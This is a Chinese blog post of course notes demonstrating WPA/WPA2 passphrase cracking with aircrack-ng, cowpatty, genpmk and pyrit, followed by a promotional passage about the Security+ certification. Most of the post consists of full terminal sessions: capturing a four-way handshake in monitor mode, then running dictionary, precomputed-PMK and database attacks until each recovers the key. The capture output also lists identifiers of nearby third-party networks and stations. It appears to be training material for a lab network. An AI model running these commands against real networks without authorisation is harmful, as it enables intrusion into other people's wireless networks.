1. 程式人生 > >【安全牛學習筆記】COWPATTY 破解密碼

【安全牛學習筆記】COWPATTY 破解密碼

加密 信息安全 security+

HTTP://ETUORLASLS.ORG/NETWORKING/802.11+SECURITY.+WI-FI+PROTECTED+ACCESS+AND+802.11I/

TR破解密碼

測試效果

john --wordlist=password.lst --rules --stdout | grep -i Password123

破解調用

john --wordlist=pass.list --rules --stdout | aircrack-ng -e kifi -w wpa.cap

北京聯通手機號密碼破解

COWPATTY破解密碼

WPA密碼通用破解工具

使用密碼字典

cowpatty -r wpa.cap -f password.lst -s kifi

使用彩虹表(PMK)

genpmk -f password.lst -d pmkhash -s kifi

cowpatty -r wpa.cap -d pmkhash -s kifi

[email protected]:~# ls
1 dic wpa-01.kisment.csv wpa-02.kisment.netxml wpa-04.cap 下載 模板
2444.sh Play0nLinux‘s virtual drives wpa-01.kisment.netxml wpa-03.cap wpa-04.csv 公共 視頻
5814.pl rock wpa-02.cap wpa-03.csv wpa-04.kismet.csv 圖片 音樂
?????? wpa-01.cap wpa-02.csv wpa-03.kismet.csv wpa-04.kisment.netm 文檔
backbox-4.4-amd64.iso wpa-01.csv wpa-02.kisment.csv wpa-03.kismet.netxml www.csdn.net.sql

[email protected]:~# rm wpa-0*
1 5814.pl backbox-4.4-amd64.iso PlayOnLinux‘s virtual dirves www.csdn.net.sql 公共 文檔 模板 音樂
2444.sh ???? dict rock 下載 圖片 桌面 視頻

[email protected]:~# iwconfig
eth0 no wireless extensions.

at0 no wireless extensions.

wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

lo no wireless extensions.

[email protected]:~# airodump-ng wlan0mon

[email protected]:~# airodump-ng wlan0mon --bssid EC:26:CA:DC:29:B6 -c 11 -w wpa

[email protected]:~# aircrack-ng -w /usr/share/john/password.lst wpa-01
wpa-01.cap wpa-01.csv wpa-01.kismet.csv wpa-01.kisment.netxml
[email protected]:~# aircrack-ng -w /usr/share/john/password.lst wpa-01
wpa-01.cap wpa-01.csv wpa-01.kismet.csv wpa-01.kisment.netxml

[email protected]:~# aircrack-ng -w /usr/share/john/password.lst wpa-01.cap
Opening wpa-01.cap
Read 18283 packets.

# BSSID ESSID Encryption

1 EC:26:CA:DC:29:B6 kifi WPA (1 handshake)

Choosing first network as target.

Opening wpa-01.cap

Aircrack-ng 1.2 rc2

[00:00:00] 265 keys tested (300.75 k/s)


KEY FOUND! [ Password ]

Master Key : 35 D2 A8 EA 41 96 A8 60 OE AF 59 8F 5C D9 66 F1
CA 6E B3 8A A0 C0 B5 F7 1B 32 0A 00 E2 38 D2 DC

Transient Key : 77 84 F7 EF 0B AC 16 BD 8A E1 42 C1 F3 44 53 34
AD 08 45 0E E6 EF 17 43 B9 2E 65 DF 62 31 6B 45
CE 5D 92 9B C1 F5 54 E6 E5 1C 93 3F 06 E0 90 90
51 F2 5C 73 EA 6D 6C 0F A6 D2 6D BF 50 08 0E 86

EAPOL HMAC : 4A 39 BA EE A8 83 0D 19 93 E6 8F 7A 60 18 6D 54

[email protected]:~# cowpatty -r wpa-01.cap -f /usr/share/john/password.lst -s kifi
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>

Colleted all necessary data to mount crack against WPA2/PSK passphrase
Starting dictionary attack. Please be patient

The PSK is "Password".

179 passphrases tested in 1.64 seconds: 109.36 passphrases/second

[email protected]:~# genpmk -f /usr/share/john/password.lst -d pmkhash -s kifi
genpmk 1.1 - WPA-PSK precomputation attack.<[email protected]>
File pmkhash does not exist,creating.

[email protected]:~# ls
1 5814.pl backbox-4.4-amd64.iso PlayOnLinux‘s virtual dirves rock wpa-01.csv wpa-01.kismet.netxml 下載 圖片 桌面 視頻
2444.sh ???? dict pmkhash wpa-01.cap wpa-01.kismet.csv www.csdn.net.sql 公共 文檔 模板 音樂

[email protected]:~# cat pmkhash

[email protected]:~# ls
1 PlayOnLinux‘s virtual dirves wpa-01.kismet.netxml 桌面
2444.sh pmkhash www.csdn.net.sql 模板
5814.pl rock 下載 視頻
????? wpa-01.cap 公共 音樂
bockbox-4.4-amd64.iso wpa-01.csv 圖片
dict wpa-01.kismet.csv 文檔

[email protected]:~# cowpatty -r wpa-01.cap -d pmkhash -s kifi
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>

Colleted all necessary data to mount crack against WPA2/PSK passphrase
Starting dictionary attack. Please be patient

The PSK is "Password".

179 passphrases tested in 1.64 seconds: 97494.55 passphrases/second

PYRIT破解密碼

airolibcowpatty相同,支持基於預計算的PMK提高破解速度

獨有的優勢

CPU之外pyrit可以運行GPU的強大運算能力加速生成PMK

本身支持抓包獲取四步握手過程,無需用Airdum抓包

也支持傳統的讀取airodump抓包獲取四步握手的方式

只抓取WAP四次握手過程包

pyrit -r wlan2mon -o wpapyrit.cap stripLive

pyrit -r wpapyrit.cap analyze

airodump抓包導入並篩選

pyrit -r wpa.cap -o wpapyrit.cap strip

[email protected]:~# pyrit -r wlan0mon -o wpapyrit.cap stripLive
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing packets from ‘wlan0mon‘...
1/1: New AccessPonit bc:d1:77:c0:87:de (‘MERCURY_C087DE‘)
2/2: New AccessPonit 14:75:90:21:4f:56 (‘TP-LINK_4F56‘)
3/3: New AccessPonit e0:06:e6:39:c3:0c(‘lizhi2012‘)
3/4: New Station 68:3e:34:30:0f:aa (AP ec:26:ca:dc:29:b6)
4/9: New AccessPonit ec:26:ca:dc:29:b5 (‘kifi‘)
4/21: New Station 80:71:7a:e3:51:c9 (AP 14:74:90:21:4f:56)
4/135: New Station 58:44:98:a3:7a:18 (AP 14:74:90:21:4f:56)
4/324: New Station e8:3e:b6:1b:19:31 (AP 14:74:90:21:4f:56)
4/461: New Station 18:dc:56:f0:26:9f (AP 14:74:90:21:4f:56)
4/646: New Station 90:3c:92:ba:00:cc (AP 14:74:90:21:4f:56)
4/975: New Station e0:06:e6:39:c3:0b (AP 14:74:90:21:4f:56)
4/1957: New Station 54:9f:13:73:02:8d (AP 14:74:90:21:4f:56)
4/2767: New Station 68:3e:34:30:0f:aa (AP 14:74:90:21:4f:56)
4/3286: New Station 6c:71:d9:1c:80:4c (AP 14:74:90:21:4f:56)
5/3858: Challenge AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
6/3859: Response AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
6/3859: New Handshake AP ec:26:ca:dc:29:b6: HMAC_SHA1 AES, bad, spread 1
7/3860: Confirmation AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
7/3960 New Handshake AP ec:26:ca:dc:29:b6: HMAC_SHA1_AES, good, spread 1
8/4065: New AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797‘)
^C
Interrupted...

#1: AccessPoint d0:c7:c0:99:ec:3a (‘None‘)
#2: AccessPoint bc:d1:77:c0:87:de (‘‘MERCURY_C087DE‘)
#3: AccessPoint 14:75:90:21:4f:56 (‘TP-LINK_4F56‘)
#4: AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797‘)
#5: AccessPoint ec:26:ca:dc:29:b6 (‘kifi‘)
#0: Station 68:3e:34:30:0f:aa, 1 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#6: AccessPoint e0:06:e6:39:c3:0c(‘lizhi2012‘)

New pcap-file ‘wpapyrit.cap‘ written (8 out of 6480 packets)

[email protected]:~# pyrit -r wpapyrit.cap analyze
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file ‘wpapyrit.cap‘ (1/1)...
Parsed 8 packets (8 8032.11-packets),got 5 AP(s)

#1: AccessPoint bc:d1:77:c0:87:de (‘‘MERCURY_C087DE‘)
#2: AccessPoint 14:75:90:21:4f:56 (‘TP-LINK_4F56‘)
#3: AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797‘)
#4: AccessPoint ec:26:ca:dc:29:b5 (‘kifi‘)
#1: Station 68:3e:34:30:0f:aa, 1 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1

#5: AccessPoint e0:06:e6:39:c3:0c(‘lizhi2012‘)

[email protected]:~# pyrit -r wpa.cap -o wpapyrit.cap strip
wpa-01.cap wpa-01.kismet.csv wpapyirt.cap
wpa-01.csv wpa-02.kismet.netxml

[email protected]:~# pyrit -r wpa-01.cap -o wpapyrit1.cap strip
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file ‘wpapyrit.cap‘ (1/1)...
Parsed 17 packets (17 8032.11-packets),got 1 AP(s)

#1: AccessPoint ec:26:ca:dc:29:b5 (‘kifi‘)
#0: Station 68:3e:34:30:0f:aa, 15 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 3
#3: HMAC_SHA1_AES, good, spread 11
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#6: HMAC_SHA1_AES, good, spread 1
#7: HMAC_SHA1_AES, good, spread 1
#8: HMAC_SHA1_AES, good, spread 1
#9: HMAC_SHA1_AES, good, spread 1
#10: HMAC_SHA1_AES, good, spread 5
#11: HMAC_SHA1_AES, good, spread 7
#12: HMAC_SHA1_AES, good, spread 7
#13: HMAC_SHA1_AES, good, spread 9
#14: HMAC_SHA1_AES, good, spread 9
#15: HMAC_SHA1_AES, good, spread 13

New pcap-file ‘wapapritl.cap‘ written (16 out of 17 packets)

[email protected]:~# pyrit -r wpapyrit1.cap strip
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file ‘wpapyrit.cap‘ (1/1)...
Parsed 17 packets (17 8032.11-packets),got 1 AP(s)

#1: AccessPoint ec:26:ca:dc:29:b5 (‘kifi‘)
#0: Station 68:3e:34:30:0f:aa, 15 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 3
#3: HMAC_SHA1_AES, good, spread 11
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#6: HMAC_SHA1_AES, good, spread 1
#7: HMAC_SHA1_AES, good, spread 1
#8: HMAC_SHA1_AES, good, spread 1
#9: HMAC_SHA1_AES, good, spread 1
#10: HMAC_SHA1_AES, good, spread 5
#11: HMAC_SHA1_AES, good, spread 7
#12: HMAC_SHA1_AES, good, spread 7
#13: HMAC_SHA1_AES, good, spread 9
#14: HMAC_SHA1_AES, good, spread 9
#15: HMAC_SHA1_AES, good, spread 13

PYRIT破解密碼

使用密碼字典直接破解

pyrit -r wpaprit.cap -i password.lst -b <AP MAC> attack passthrough

數據庫模式破解

默認使用基於文件的數據庫,支持連接SQL數據庫,將計算的PMK存入數據庫

查看默認數據庫狀態:pyrit eval

導入密碼字典:pyrit -i password.lst import password (剔除了不合規的密碼)

制定ESSIDpyrit -e kifi create essid

計算PMKpyrit batch (發揮GPU計算能力)

破解密碼:pyrit -r wpapyrit.cap -b <AP MAC> attack_db

[email protected]:~# pyrit -r wpaprit.cap -i /usr/share/john/password.lst -b ec:26:ca:dc:29:b6 attack passthrough
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file ‘wpapyrit.cap‘ (1/1)...
Parsed 8 packets (8 8032.11-packets),got 5 AP(s)

Tried 647 PMKs so far; 238 PMKs per second.

The password is ‘Password‘.

[email protected]:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
Passwords availbale: 0

[email protected]:~# pyrit -i usr/share/john/password.lst import password
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
3559 lines read flushing buffers.

[email protected]:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
Passwords availbale: 637

[email protected]:~# pyrit -e kifi create essid
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
Creates ESSID ‘kifi‘

[email protected]:~# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
Creates ESSID ‘kifi‘
Processed all workunits for ESSID ‘kifi‘;179 PMKs per second.nd.

Batchprocessing done.

[email protected]:~# pyrit -r wpapyrit.cap -b ec:26:ca:dc:29:b6 attack_db
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connection to storage at ‘file://‘... connected
Parsing file ‘wpapyrit1.cap‘ (1/1)...
Parsed 16 packets (16 802.11-packets), got 1 AP(s)

Attacking handshake with Station 68:3e:34:30:0f:aa...
Tried 351 PMKs so far (56.2%); 20714 PMKs per second.

The password is ‘Password‘

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂

Security+認證為什麽是互聯網+時代最火爆的認證?


牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。

本文出自 “11662938” 博客,請務必保留此出處http://11672938.blog.51cto.com/11662938/1967654

【安全牛學習筆記】COWPATTY 破解密碼